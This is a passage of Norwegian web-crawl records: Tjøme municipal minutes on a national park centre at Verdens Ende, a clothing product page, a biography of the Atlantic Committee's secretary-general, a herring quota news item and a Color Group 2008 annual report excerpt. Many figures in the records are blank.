M\u00f8tebehandling: Tj\u00f8melista v/anne Lindgaard-Berntsen fremmet f\u00f8lgende forslag: HPM stiller seg positiv til saken om \"Nye Verdens Ende\" og bygging av nasjonalparksenter med restaurant, nytt servicebygg samt ny adkomstvei til nasjonalparksenteret, med f\u00f8lgende endringer: Pkt. 1 innledes med at \"Under forutsetning av at Kongen i statsr\u00e5d vedtar F\u00e6rder nasjonalpark, gis det \" Endring pkt. 2: HPM synes finansieringen er bygget p\u00e5 for optimistiske estimater p\u00e5 utleie av restauranten og tilf\u00f8yer i pkt 2 at inntekten fra staten m\u00e5 minimum v\u00e6re kr ,- pr. \u00e5r. Erstatter pkt. 4: HPM mener ogs\u00e5 at det b\u00f8r foretas en omregulering av arealet nord for eksisterende restaurant til annet form\u00e5l, f\u00f8r evt ny adkomstvei kan godkjennes. I dag er dette arealet regulert til friomr\u00e5de. Det bes om at det utredes andre alternativer til veitraseer som er mer sk\u00e5nsom og gir mindre naturinngrep. Nytt pkt. 6. Administrasjonen henstilles til \u00e5 kontakte Vestfold Fylkeskommune for \u00e5 inng\u00e5 en dialog om Fylkeskommunen kan inng\u00e5 p\u00e5 eiersiden med en br\u00f8k, som medeier/partner, p\u00e5 lik linje med Sandefjord Lufthavn Torp og Bol\u00e6rne. Nytt pkt. 7. Fullstendig oversikt over invertering og drift, samt mulige partnere fremlegges for kommunestyret Det ble avholdt gruppem\u00f8ter. Ved avstemming ble r\u00e5dmannens innstilling vedtatt med 6 mot 3 (TL+AP) stemmer. Mindretallet stemte for forslaget til TL. HPM - 103/13 Vedtak: Det gis en samlet bevilgning p\u00e5 kr mill til bygging av nytt nasjonalparksenter med restaurant p\u00e5 Verdens Ende, nytt servicebygg med integrert kiosk for gjestehavn og bes\u00f8kende til friomr\u00e5dene p\u00e5 Verdens Ende, og til ny adkomstveg til nasjonalparksenteret. Vedtak om bevilgning til bygging fattes under den forutsetning at Tj\u00f8me kommune f\u00e5r sikkerhet for de nevnte leieinntekter. Tiltakene finansieres med ,- i statstilskudd og resterende ved l\u00e5neopptak. R\u00e5dmannen gis fullmakt til \u00e5 foreta l\u00e5neopptak. Bevilgningen fordeles p\u00e5 f\u00f8lgende delprosjekter slik: Nasjonalparksenter og ny restaurant Investeringsbehovet for bygging av et nytt naturparksenter og restaurant er beregnet til kr mill. I disse kostnadene ligger ogs\u00e5 riving og gjenoppf\u00f8ring av ny renovasjonsbod mot nord. Investeringen finansieres ved tilskudd fra Enova med kr ,- Det \u00f8vrige dekkes inn med leieinntekter fra Staten (Nasjonalparksenteret) og leieinntekter fra den nye restauranten p\u00e5 Verdens Ende Nytt servicebygg med integrert kiosk Investeringsbehovet for nytt servicebygg for gjestehavnen og tilreisende til friomr\u00e5dene p\u00e5 Verdens Ende med integrert kiosk er beregnet til er kr. 6.5 mill. Investeringen finansieres ved inntekter via havneavgifter, P-avgifter og kiosk leie Ny adkomstvei til Nasjonalparksenteret\n\n\n\n\n\n16 Side 4 av 12 Det bevilges inntil kr ,- for utarbeidelse av anbudsdokumenter for en totalentreprise. Ved avstemming ble fellesforslaget enstemmig vedtatt. KS- 041/13 Vedtak: Det er bred enighet om viktigheten av \u00e5 f\u00e5 etablert nasjonalparksenteret p\u00e5 Verdens Ende, og at Tj\u00f8me kommunes eiendom (Restaurantbygget) skal benyttes til dette form\u00e5l. Etableringen av F\u00e6rder Nasjonalpark og det planlagte nasjonalparksenteret vil kunne bli en attraksjon og destinasjon for tilreisende, turister og andre som kan f\u00e5 betydning for utvikling og verdiskaping b\u00e5de lokalt, regionalt og nasjonalt. Alle politiske partier er positive til prosjektet. Vi er imidlertid sv\u00e6rt bekymret for at det er Tj\u00f8me kommune, og kommunens innbyggere, som alene skal b\u00e6re de store investeringskostnadene dette viser seg \u00e5 bli. Med utgangspunkt i en stram \u00f8konomisk situasjon for kommunen, vil dette kunne f\u00f8re til ytterligere nedskj\u00e6ringer av tjenester til kommunens innbyggere. Kommunens ledelse gis i oppdrag \u00e5 g\u00e5 i dialog med regionale/nasjonale myndigheter/nabokommuner for \u00e5 invitere til medeierskap, for s\u00e5 \u00e5 komme tilbake til kommunestyret med denne saken. Under forutsetning av at Kongen i Statsr\u00e5d vedtar opprettelse av F\u00e6rder Nasjonalpark, og at anmodningene skissert i ovenst\u00e5ende pkt.1 vedr. finansiering f\u00f8lges, \u00f8nsker KST \u00e5 f\u00e5 saken tilbake for behandling av investeringskostnadene og evt. bevilgning av midler til form\u00e5l; Nasjonalparksenter og ny adkomstvei, s\u00e5 snart anbudene og totalkostnadene samt finansieringsmodell foreligger. Finansiering legges frem for KST samtidig. KST ber administrasjonen og kommunens ledelse om \u00e5 se p\u00e5 muligheter for ytterligere \"flerbruk\" av det ny restaurantbygget ved at det legges inn muligheter for \u00e5 benytte anlegget ogs\u00e5 til livssynsn\u00f8ytralt seremoni-rom, bla til vielser og gravferd noe som vil kunne bidra til \u00f8kt bruk av bygget, hele \u00e5ret. Det bevilges inntil kr ,- for utarbeidelse av anbudsdokumenter for en totalentreprise.\n\n\n\n\n\n18 Side 6 av VerdensEnde Spot Of Sunlighet 02.pdf Utredning Planarbeidet for nasjonalparksenteret og restauranten er utarbeidet i et bredt samarbeid med representanter fra de politiske partier i Tj\u00f8me, n\u00e6ringslivet, fylkeskommunen, N\u00f8tter\u00f8y kommune og ikke minst fylkesmannen. Det skulle s\u00e5ledes ligge godt til rette for en bred politisk forankring i de foreliggende planer. Ved utredning og utvikling av nasjonalparksenteret har en sett at det framtidige bygg \u00f8ker i areal, noe som gj\u00f8r at dagens adkomst til bygget med bil blir umulig. Dette er noe av bakgrunnen for at ny adkomst vei er p\u00e5krevd. Dagens restaurantbygning b\u00e6rer preg av manglende vedlikehold. TK har f\u00e5tt beskjed om at en ikke kan forvente \u00e5 f\u00e5 noen ny godkjenning av Matilsynet for videre drift for 2014, med mindre det foreligger klare planer og vedtak om en oppgradering av dagens kj\u00f8kken. Skal TK fortsatt ha en operativ restaurant p\u00e5 Verdens Ende, m\u00e5 det uansett foretas st\u00f8rre investeringer i dagens bygningsmasse. Det har vist seg at dagens servicebygg er i en d\u00e5rligere forfatning enn en tidligere har v\u00e6rt klar over. Bygget ligger sv\u00e6rt utsatt til mht. de klimatiske p\u00e5kjenninger. Administrasjonen har derfor sett det som en naturlig del \u00e5 f\u00e5 lagt dette inn i dette prosjektet. Dette l\u00e5 ogs\u00e5 i saken som ble fremmet for Kommunestyrtet den , sak.nr. 018/13. Nytt servicebygg er blitt utviklet p\u00e5 bakgrunn av erfaring av driften ved dagens bygg, diverse representanter fra administrasjonen, samt innspill fra Fylkesmannen. Generelt Under det p\u00e5g\u00e5ende planarbeidet har hele tiden milj\u00f8et, og i hvilket s\u00e5rbart omr\u00e5de en planlegger i, v\u00e6rt i fokus. Tj\u00f8me kommune \u00f8nsker mest mulig milj\u00f8messige l\u00f8sninger ved alle nye tenkte l\u00f8sninger. Dette gjelder alt fra bruk av byggematerialer til bl.a. bruk av jord- og solvarme til oppvarming, men ogs\u00e5 for eksempel bruk av solvarme til kj\u00f8ling. Det arkitektfaglige milj\u00f8 og de prosjekterende har hele tiden v\u00e6rt opptatt at alle inngrep m\u00e5 forg\u00e5 p\u00e5 en s\u00e5 sk\u00e5nsom m\u00e5te som mulig. Dette med tanke p\u00e5 at en planlegger \u00e5 gj\u00f8re inngrep i en s\u00e5rbar natur og i det som skal v\u00e6re en del av den kommende nasjonalpark for framtidige generasjoner. For \u00f8vrig har Tj\u00f8me kommune ogs\u00e5 v\u00e6rt opptatt at den framtidige bygningsmasse skal ivareta b\u00e5de dagens og morgendagens forskjellige behov p\u00e5 en best mulig m\u00e5te. Bygningsmasse og tilgjengelighet for alle er ogs\u00e5 et meget viktig og sentralt tema, s\u00e5 langt dette lar seg etterkomme i et naturomr\u00e5de. Det er ogs\u00e5 tenkt mye p\u00e5 hvordan driften av utbyggingen kan gjennomf\u00f8res p\u00e5 den best mulige m\u00e5ten, b\u00e5de overfor publikum og med tanke p\u00e5 samdriftsfordeler, samt hva som kan v\u00e6re kostnadsbesparende tiltak. Det tenkes at en utnytter en samtidighetsfordel ved \u00e5 legge en egen entreprise for veg, brannvann, kabel/trekker\u00f8r og grunnarbeider for nytt nasjonalparksenter, restaurant og servicebygg. Utbyggingen av Verdens Ende er en stor investering for Tj\u00f8me kommune. Det er en viktig investering, som Tj\u00f8me kommune sine innbyggere og ikke minst alle tilreisende turister vil\n\n\n\n19 Side 7 av 12 kunne dra nytte av for flere generasjoner framover. Hele investeringen er tenkt dekket inn ved leieinntekter og avgifter (havneavgift og P-avgift). Nasjonalparksenter I verneplanen for F\u00e6rder nasjonalpark, som var ute til h\u00f8ring sist vinter, har Fylkesmannen foresl\u00e5tt at det skal etableres et nasjonalparksenter p\u00e5 Verdens Ende i Tj\u00f8me kommune. Dette er et sjeldent spektakul\u00e6rt sted og et av Norges mest bes\u00f8kte landemerker, med god biltilgjengelighet og et godt opparbeidet parkeringsomr\u00e5de. I f\u00f8lge Fylkesmannen anser han det framlagte prosjektet som \"et vel gjennomtenkt og n\u00f8kternt konsept for nasjonalparksenter og forvaltningsknutepunkt, i en integrert l\u00f8sning sammen med restauranten. Bygningen vil v\u00e6re knyttet opp mot andre infomiasjonspunkter i nasjonalparken.\" (Sitat fra brev av fra Fylkesmannen til Milj\u00f8verndepartementet v/statsr\u00e5den) I brev av til Milj\u00f8departementet fra Direktoratet for naturforvaltning (DN) skriver DN: \"Direktoratet for naturforvaltning tilr\u00e5r med dette etablering av F\u00e6rder nasjonalpark i Vestfold, N\u00f8tter\u00f8y og Tj\u00f8me kommuner. Verneforslaget omfatter et areal p\u00e5 ca. 340 km2hvorav ca. 325 km2 sj\u00f8areal og 15 km2 landareal.\" DN st\u00f8tter videre fylkesmannens bemanningsforslag (2 forvaltere, en informasjonsr\u00e5dgiver og en oppsynsperson alle p\u00e5 heltid) og v\u00e5r anbefaling om et nasjonalparksenter/forvaltningsknutepunkt p\u00e5 Verdens Ende. Alt i alt har Fylkesmannen f\u00e5tt tilslutning p\u00e5 de viktigste omr\u00e5dene. Det som gjenst\u00e5r av planprosessen n\u00e5, er at Milj\u00f8departementet og andre ber\u00f8rte departementer tar stilling til saken. Selve nasjonalparksenteret best\u00e5r prim\u00e6rt av tre \"deler\". Restauranten med tilh\u00f8rende kj\u00f8kken og n\u00f8dvendige fasiliteter Informasjonsavdeling, publikumsomr\u00e5der knyttet til nasjonalparken. Denne g\u00e5r over to plan. I tillegg til en foa\u00bb, garderobe og toalettfunksjoner Kontorer med garderobe og toalettfunksjoner Restauranten blir en egen enhet, som vil v\u00e6re Tj\u00f8me kommune sin, men som vil bli utleid til profesjonelle drivere p\u00e5 kommersielt basis. Informasjonsavdelingen, publikumsomr\u00e5der, samt kontorer vil bli leid ut p\u00e5 langsiktig basis til Staten. Kontorene vil bli benyttet til personell knyttet til SNO, skj\u00f8tsel, forvaltning av nasjonalparken. I tilknytting til selve senteret vil ogs\u00e5 den n\u00e5v\u00e6rende boden, lokalisert litt nord for dagens restaurant bli revet og erstattet av en ny bod for avfallsh\u00e5ndtering og til lager. Boden vil benytte eksisterende betongplatting, ingen \u00f8kning av arealet. Senteret vil bli oppvarmet med energi fra energibr\u00f8nner og solvarme. Det vil prim\u00e6rt bli benyttet naturlig ventilasjon og solvarme til kj\u00f8ling. Det satses p\u00e5 l\u00f8sninger som er vel utpr\u00f8vd, men som allikevel vil v\u00e6re med p\u00e5 \u00e5 fremheve bygget som et milj\u00f8bygg. I samkj\u00f8ring med servicebygget vil en langt p\u00e5 vei v\u00e6re selvforsynt med energibehovet til forbruksvann og oppvarming. Vi vil kunne dekke inn i ca. 90 % av energibehovet p\u00e5 forbruksvann og tilsvarende ca. 87 % p\u00e5 oppvarmingsbehovet. For servicebygget sin del vil de samme tallene ligge p\u00e5 95 % for alt varmtvann og ca. 90 % p\u00e5 oppvarmingsbehovet. I dag varmes alt opp i servicebygget kun med str\u00f8m. Nytt servicebygg med integrert kiosk.\n\n\n\n20 Side 8 av 12 Dagens servicebygg beliggende nede i havnen p\u00e5 Verdens Ende er i meget d\u00e5rlig forfatning. Bygget har et vesentlig behov for oppgradering b\u00e5de bygningsmessig og for sanit\u00e6rtekniske anlegg. Bygget er ogs\u00e5 til tider i det minste laget og framst\u00e5r ikke hensiktsmessig driftsmessig. Erfaringsmessig har TK sett at det i dag er liten kapasitet p\u00e5 offentlige toaletter. TK forventer at dette behovet vil \u00f8ke ved at F\u00e6rder nasjonalpark vil bli etablert. Kiosken er kondemnabel. Etter planen skulle denne v\u00e6rt fjernet etter forrige sesong, men TK har latt den st\u00e5 i p\u00e5vente av de p\u00e5g\u00e5ende planarbeidene for omr\u00e5det. Servicebygget Verdens Ende betjener b\u00e5de gjestehavn og friomr\u00e5det. Gjestehavrten har kapasitet til ca. 80 gjestende b\u00e5ter. Det nye bygget vil bli trukket noe lenger innover enn dagens servicebygg. Sett ovenfra selve senteret, vil en nesten ikke kunne se dette bygget, da bygget trekkes \"under\" fjellet og vil f\u00e5 en utforming som et amfi vendt mot havnen. Fjellet p\u00e5 oversiden av bygget, f\u00f8lger den noe \"arnfif\u00f8lefsen\", som bygget framhever. Bygget for \u00f8vrig vil f\u00e5 en noe \u00f8kt kapasitet n\u00e5r det gjelder alle servicefunksjoner. Det legges opp til at det blir en inngang til selve servicedelen for b\u00e5tfolket. B\u00e5tfolket f\u00e5r en kode n\u00e5r de betaler havneavgiften og f\u00e5r dermed fri tilgang til toaletter, dusj og vaskemuligheter. De inntektene TK tidligere hadde dirkete p\u00e5 dusjanlegget ved bruk av polletter, legges n\u00e5 inn som en del av havneavgiften. Bruken av servicebygget og str\u00f8mbruk, vil dermed framst\u00e5 som \"gratis\" for b\u00e5tfolket. Andre bes\u00f8kende som m\u00e5tte \u00f8nske seg og benytte seg av servicebygget, skal kunne gj\u00f8re dette ved \u00e5 betale en avgift p\u00e5 automaten. Servicedelen f\u00e5r ogs\u00e5 en egen universelt utformet dusj og toalett. Denne vil ogs\u00e5 v\u00e6re tilrettelagt for de foreldre som ikke \u00f8nsker og ta med seg sine barn i en av de respektive felles dusja nleggene. 1tillegg f\u00e5r bygget tre toaletter, som vil v\u00e6re \u00e5pne for publikum uten kostnader. Disse vil kunne v\u00e6re tilgjengelig p\u00e5 hele \u00e5ret, alt ettersom behovet vil v\u00e6re i forbindelse med nasjonalparken. En ny utvidet kiosk med servicetilbud overfor b\u00e5tfolket, etableres som en del av bygget. Kiosken betjeneridag en veldig viktig servicefunksjon for b\u00e5tfolket, da det ikke finnes noen form for dagligvarebutikk i n\u00e6rheten. Det \u00e5 kunne tilby aviser, bakervarer, melk og helt element\u00e6re dagligvarer, har en sett som et meget viktig supplement for b\u00e5tfolket. 1tillegg er vanlig kiosk drift, ogs\u00e5 et kj\u00e6rkommet tilbud til alle dagsbes\u00f8kende p\u00e5 Verdens Ende. Planarbeidet for et nytt servicebygg har blitt integrert som en del av planarbeidet for nasjonalparksenteret. Med dette menes f\u00f8lgende: TK f\u00e5r en samlet byggeperiode for omr\u00e5det Verdens Ende, noe som begrenser belastningen p\u00e5 omr\u00e5det, i forhold til anleggsdriften av de forskjellige bygningene Byggene, Idosk- og servicebygg vil framst\u00e5 som mer enhetlig. Samme formspr\u00e5ket i forhold til uttrykk og materialbruk som selve nasjonalparksenteret En felles varmesentral. Varmesentrafen vil bli liggende i selve senteret. Dette gj\u00f8r at vi vil ha overskuddsvarme p\u00e5 senteret om sommeren. Dette kan dermed benyttes til oppvarming av prim\u00e6rt varmtvann i servicebygget om sommeren (\"gratis\" varmtvann) Vi f\u00e5r overskudds kapasitet p\u00e5 energibehovet til servicebygget p\u00e5 vinterstid, noe TK da kan benytte til oppvarming av nasjonalparksenteret. Dette\n\n\n\n", "language": "no", "__index_level_0__": "5a46daea-4715-4fc7-9467-489b2d30bbcd"}
{"url": "https://www.klingel.no/fritidsdress-gregory-348128/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:52:12Z", "text": "\n\nP\u00e5 jakt etter nye kl\u00e6r? Velg denne fritidsdressen med jakke fra Gregory. Fritidsdressen har stikklommer i siden. Fritidsdressen bestiller du i v\u00e5r nettbutikk.\n\n**Fritidsdress**\n\n  - Av 50% bomull, 50% polyester\n\n|                   |                              |\n| ----------------- | ---------------------------- |\n| Modell overdel    | Casual                       |\n| Krage             | Krage                        |\n| Type lukning      | Glidel\u00e5s                     |\n| Ermelengde        | Lang                         |\n| Ermekant          | Elastiske kanter             |\n| Lommer            | Stikklommer i siden          |\n| Nederkant         | Elastisk linning             |\n| Modell underdel   | Casual                       |\n| Linning           | Stretchlinning med knyteb\u00e5nd |\n| Benlengde         | Lange ben                    |\n| Bukselommer       | Stikklommer i siden          |\n| Benkant           | \u00c5pen benkant                 |\n| Kvalitet overdel  | French Terry                 |\n| Kvalitet underdel | French Terry                 |\n| Hovedmateriale    | Bomull/polyester             |\n| Fargebetegnelse   | smaragd/marine               |\n| M\u00f8nster overdel   | Ensfarget                    |\n| M\u00f8nster underdel  | Ensfarget                    |\n| Vaskeanvisning    | Maskinvask                   |\n", "language": "no", "__index_level_0__": "dc3ab76f-e77d-488c-a99c-8b1b797b5eed"}
{"url": "http://www.atlanterhavskomiteen.no/cat/67.aspx", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:13:34Z", "text": "\\> Nettsider \\> DNAK \\> Om oss \\> Generalsekret\u00e6ren\n\n# Generalsekret\u00e6ren\n\n****\n\n**Kate Hansen Bundt (f. 1962)**\n\nGeneralsekret\u00e6r for Den norske Atlanterhavskomit\u00e9\u00a0fra 1. april 2010\n\n\u00a0Bundt er statsviter fra UiO (1992). Hennes faginteresser omfatter Tysklands politiske utvikling og rolle i Europa, den europeiske integrasjonsprosessen (EU) og de transatlantiske relasjoner (NATO). Bundt var stipendiat ved Humboldt Universitetet i \u00d8st-Berlin under DDR-regimets siste \u00e5r. Hun arbeidet ved Norsk Utenrikspolitisk Institutt fra 1990-93. I tolv \u00e5r arbeidet hun som forskningsleder ved forskningsstiftelsen Europa-programmet, f\u00f8r hun etter en periode som uavhengig foreleser, skribent og utenrikskommentator, ble generalsekret\u00e6r ved Den norske Atlanterhavskomit\u00e9. Bundt gjennomf\u00f8rte i 2009 Sjefskurs 3 ved Forsvarets H\u00f8gskole.\n\n\u00a0Bundt er styreleder i Norsk Utenrikspolitisk Institutt i perioden 2014-17, og ble gjenvalgt for 2018-21. Hun er medlem i r\u00e5det for Fridtjof Nansen Institutt og r\u00e5det for Forsvarets H\u00f8gskole. Hun er ogs\u00e5 styremedlem i NOREF (Norwegian Centre for Conflict Resolution), og medlem av 'the Advisory Council' ved Center for Strategic and International Studies (CSIS) Stuart Center.\u00a0 Fra 2007-09 var hun medlem av det regjeringsoppnevnte \"Utvalg for sikkerhetspolitikk, nedrustning og internasjonale utfordringer mot norsk sikkerhet\". Fra 2010-2012 var hun medlem av det regjeringsoppnevnte \u00abEuropautredning. Utvalget for utredning av Norges avtaler med EU\u00bb. Fra desember 2014 til mai 2015 deltok hun i Ekspertgruppen for forsvaret av Norge, som p\u00e5 oppdrag fra Forsvarsministeren leverte rapporten\u00a0\"Et felles l\u00f8ft\". Bundt er visepresident i\u00a0ATA, som er DNAKs internasjonale tilknytning.\n\n\u00a0Bundt har skrevet en rekke artikler om utviklingen i Tyskland, NATO og EU. Hun holder foredrag og kommenterer fortl\u00f8pende utviklingen i media. Bundt har v\u00e6rt opptatt av statenes betydning for EUs og det internasjonale systemets utvikling.\n\n", "language": "no", "__index_level_0__": "484444b9-2e38-4f65-a524-c886fc92afae"}
{"url": "https://www.kystmagasinet.no/nyheter/foreslar-okt-kvote-for-nordsjosild/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:01:49Z", "text": "        ### Ny flott pelagisk tr\u00e5ler d\u00f8pt\n        \n# Foresl\u00e5r \u00f8kt kvote for nordsj\u00f8sild\n\n \n\n03/06/2011\n\nTil tross for at nordsj\u00f8silda har hatt ni \u00e5r med d\u00e5rlig rekruttering, er gytebestanden i god form. Havforskningsinsituttet foresl\u00e5r en kvote p\u00e5 230 000 tonn \u2013 ca. 50 000 tonn over fjor\u00e5rets kvote.\n\n-----\n\n( 03.06.2011 )\n\n\u2013\u00a0De siste \u00e5rene har fisked\u00f8deligheten blitt betydelig redusert. Gytebestanden er n\u00e5 p\u00e5 1,3 mill tonn, som er over det kritiske niv\u00e5et, sier forsker Else Torstensen fra Havforskingsinstituttet.\u00a0\n\nKvoter\u00e5det for 2012 tilsvarer en \u00f8kning p\u00e5 15 prosent fra i fjor. I \u00e5r blir nordsj\u00f8silda for f\u00f8rste gang vurdert sammen med de baltiske bestandene.\n\nNordsj\u00f8silda finnes i Nordsj\u00f8en, Skagerrak og Kattegat. Fiskeriet foreg\u00e5r med ringnotfart\u00f8y og tr\u00e5lere, men det skjer ogs\u00e5 en del bifangst av nordsj\u00f8sild i industrifisket.\n\nI 2010 fisket norske fiskere nordsj\u00f8sild for 225 millioner kroner. I snitt\u00a0 har norske fangster ligget i underkant av 120 000 tonn de siste 40 \u00e5rene. I topp\u00e5ret 1965 ble det fisket 605 000 tonn, mens landingene var nede i 2 200 tonn i 1980.\n\nI fjor ble det avtalt en totalkvote for Nordsj\u00f8en p\u00e5 200 000 tonn, av dette ble det gitt en egen bifangstkvote p\u00e5 16 539 tonn til EU-fl\u00e5ten. Den norske kvoten utgjorde 58 000 tonn.\n\nI \u00e5r blir nordsj\u00f8silda for f\u00f8rste gang vurdert sammen med de baltiske bestandene av sild. ICES anbefalinger for Nordsj\u00f8-bestandene av hvitting, torsk, hyse og sei kommer 8. juni.\u00a0\u00a0\n\n\\[/raw\\]\n\n", "language": "no", "__index_level_0__": "f4925916-52c8-4afe-8264-5d5033b885e9"}
{"url": "http://docplayer.me/3177430-Preliminaer-styrets-arsberetning-2008-color-group-asa.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00203.warc.gz", "warc_date": "2018-03-24T23:46:03Z", "text": "1 PRELIMIN\u00c6R STYRETS \u00c5RSBERETNING 2008 COLOR GROUP ASA OM KONSERNET Color Group ASA er morselskap til Color Line AS. Color Line AS er Norges st\u00f8rste og et av Europas ledende selskaper innen europeisk n\u00e6rskipsfart (short sea shipping) med ca \u00e5rsverk i fire land. Etter en strategisk reorganisering i 2008, har rederiet i dag en operasjonell fl\u00e5te p\u00e5 seks skip, og opererer fire internasjonale fergelinjer mellom syv havner i Norge, Tyskland, Danmark og Sverige. Color Line har i perioden investert over 7,5 mrd NOK i nye skip, havner og konsepter. Selskapet satser offensivt med en toarmet strategi innenfor cruiseopplevelser og kurs- og konferanser p\u00e5 de lange rutene, og effektiv transport p\u00e5 de korte. Selskapets ambisjon er \u00e5 v\u00e6re Europas beste rederi innen reiseliv og den voksende opplevelsesindustrien, samt innen effektiv transport av varer og gods sj\u00f8veien. Color Line har i 2007 og 2008 avviklet virksomhet nattferger mellom Norge og Danmark. Bergen-Stavanger-Hirtshals ble avviklet i desember 2007, Oslo-Hirtshals ble lagt ned i mai Resultater relatert til avviklet virksomhet rapporteres s\u00e6rskilt i regnskapet. Kommentarer til konsernets resultatregnskap er relatert til videref\u00f8rt drift hvis annet ikke er nevnt. Antall gjester videref\u00f8rt virksomhet i 2008 var ca. 3,9 millioner, som var en bedring i forhold til ca. 3,5 millioner i 2007 (tall inkludert nedlagt virksomhet; 2008: 4,1 mill., 2007: 4,3 mill.). Color Line kan notere en vekst i antall passasjerer p\u00e5 alle linjer der selskapet har satt nye skip i trafikk. Frakt av gods videref\u00f8rt virksomhet viste en \u00f8kning p\u00e5 ca fraktenheter (12m ekvivalenter) til i 2008 (tall inkludert nedlagt virksomhet; 2008: , 2007: ). RESULTATREGNSKAPET Regnskapsprinsipper Color Group ASA er et norsk allmennaksjeselskap med hovedkontor i Oslo. Konsernregnskapet presenteres i samsvar med IFRS (International Financial Reporting Standards). Konsernets resultat Resultatet for avviklet virksomhet, linjen Oslo-Hirtshals, viser for 2008 et underskudd p\u00e5 NOK 84,8 millioner etter skatt og er vist p\u00e5 egen linje. Sammenlignbart tall for 2007 inkluderer den nedlagte linjen Bergen-Hirtshals. Resultatregnskapet for 2007 er omarbeidet for \u00e5 vise sammenlignbare tall. Driftsinntekter for videref\u00f8rt virksomhet, inklusiv gevinst fra salg av driftsmidler ble p\u00e5 NOK millioner i 2008 mot NOK millioner i Driftsresultat f\u00f8r avskrivninger og charterleie ble NOK millioner mot NOK 665 millioner i Driftsresultat i 2008 ble p\u00e5 NOK 616 millioner sammenlignet med NOK 290 millioner i Driftsresultatet for 2008 er positivt p\u00e5virket av salgsgevinster p\u00e5 driftsmidler samt omlegging av konsernets pensjonsordning fra en ytelsesbasert ordning til innskuddsbasert ordning for samtlige landansatte. Driftsresultatet er samtidig belastet med kostnader av engangskarakter i\n\n\n\n2 forbindelse med innfasing og utfasing av skip. Dette ble forsterket ved forsinket levering av skipene M/S SuperSpeed 1 og 2. Videre er resultatet belastet med h\u00f8yere bunkerskostnader sammenlignet med \u00e5ret f\u00f8r. Konsernets netto finanskostnader viser en \u00f8kning fra -NOK 88 millioner i 2007 til -NOK 752 millioner i Urealisert disagio knyttet til valutal\u00e5n i EUR og DKK samt urealiserte negative resultater relatert til langsiktige rentesikringsavtaler og valuta/rentederivathandler belastet regnskapet med totalt ca -NOK 350 millioner. I tillegg er urealisert tap p\u00e5 bunkerssikringskontrakter p\u00e5 ca -NOK 96 millioner belastet finansregnskapet. Selskapets rentekostnader \u00f8kte som f\u00f8lge av generelt h\u00f8yere markedsrenter kombinert med h\u00f8yere gjeld etter levering av ny tonnasje sammenlignet med \u00e5ret f\u00f8r. \u00c5rsresultatet etter skatt for videref\u00f8rt virksomhet viser et underskudd p\u00e5 -NOK 99 millioner mot et overskudd p\u00e5 NOK 144 millioner for 2007 (\u00e5rsresultatet etter skatt etter avviklet virksomhet viser et underskudd p\u00e5 NOK 184 millioner mot et overskudd p\u00e5 NOK 121 millioner for 2007). Morselskapet Color Group ASA viser et resultat f\u00f8r skatt p\u00e5 NOK -262 millioner mot NOK 29 millioner i Etter skatt fremkommer resultatet p\u00e5 -NOK 189 millioner i 2008 mot NOK 21 millioner i Styret foresl\u00e5r at underskuddet dekkes av annen egenkapital. Fri egenkapital i morselskapet var NOK 291 millioner. FINANSIELLE FORHOLD Balanse og finansiering Color Line AS inngikk i 2005 avtale med Aker Finnyards Inc. for bygging av to Ro/Pax SuperSpeed skip med en kontraktspris p\u00e5 ca EUR 126,7 millioner per skip. M/S SuperSpeed 1 ble levert til Color Line Transport AS f\u00f8rste kvartal For M/S SuperSpeed 2 har Color Line benyttet selskapets rett \u00e5 overdra skipet p\u00e5 leveringsdagen til selskapet Oslo Line AS (et 100 prosent eiet selskap av O.N. Sunde AS). Det er inng\u00e5tt en 12 \u00e5rs operasjonell leasingavtale mellom Oslo Line AS og Color Line Transport AS, med garanti fra Color Group ASA. M/S SuperSpeed 1 er finansiert med ca 80 prosent av kontraktssum, med l\u00f8petid over 12 \u00e5r fra leveringsdato og med profil som et 16 \u00e5rs l\u00e5n. Konsernets total balanse var p\u00e5 NOK millioner per en \u00f8kning p\u00e5 NOK 558 millioner fra Egenkapitalen per var p\u00e5 NOK millioner, mot NOK millioner i Egenkapitalprosenten var p\u00e5 ca 19 prosent, mot ca 24 prosent i Langsiktig pantegjeld p\u00e5 skip/terminaler/hotell har en nedbetalingsprofil p\u00e5 \u00e5r. Obligasjonsl\u00e5n notert p\u00e5 Oslo B\u00f8rs forfaller i perioden Totalt utest\u00e5ende netto obligasjonsl\u00e5n per er NOK millioner. Selskapet har i sine l\u00e5neavtaler forpliktelser knyttet til likviditet, egenkapital og gjeldsbetjeningsgrad. Alle forpliktelser er oppfylt per\n\n\n\n3 Kontantstr\u00f8m Konsernet hadde i 2008 en kontantstr\u00f8m fra operasjonelle aktiviteter p\u00e5 NOK 640 millioner. Netto kontantstr\u00f8m fra investerings- og finansieringsaktiviteter var NOK 645 millioner. Konsernets totale likviditetsreserve inklusive bevilgede trekkrettigheter og likvide verdipapirer var per ca NOK 700 millioner. Ordin\u00e6re planlagte avdrag i 2009 for konsernets renteb\u00e6rende gjeld til kredittinstitusjoner og obligasjonsgjeld er ca NOK 637 millioner Finansielle risikoforhold Konsernet er utsatt for valutarisiko p\u00e5 grunn av fluktuasjoner i NOK mot andre valutaer, s\u00e6rlig mot USD, EUR og DKK. I tillegg er konsernet utsatt for renterisiko, og endringer i pris p\u00e5 bunkersprodukter. Konsernet benytter seg av finansielle instrumenter for \u00e5 avdempe risikoen for svingninger i konsernets kontantstr\u00f8m. P\u00e5 balansedagen var henholdsvis ca 33 prosent av konsernets renteb\u00e6rende gjeld sikret gjennom fastrenteavtaler og ca 40 prosent av selskapets estimerte bunkerskostnader for 2009 sikret gjennom bunkersderivatkontrakter. I tillegg hadde selskapet ulike valutaderivatkontrakter relatert til budsjettert drift for Konsernets markedsrisiko er begrenset, da virksomheten henvender seg til et stort antall kunder. Fortsatt drift Basert p\u00e5 ovenst\u00e5ende redegj\u00f8relse for konsernets resultat og finansielle stilling, bekrefter styret at \u00e5rsregnskapet er utarbeidet under forutsetning om fortsatt drift og gir et rettvisende bilde av morselskapets og konsernets eiendeler, gjeld, finansielle stilling og resultat. ARBEIDSMILJ\u00d8 OG PERSONAL Ved utgangen 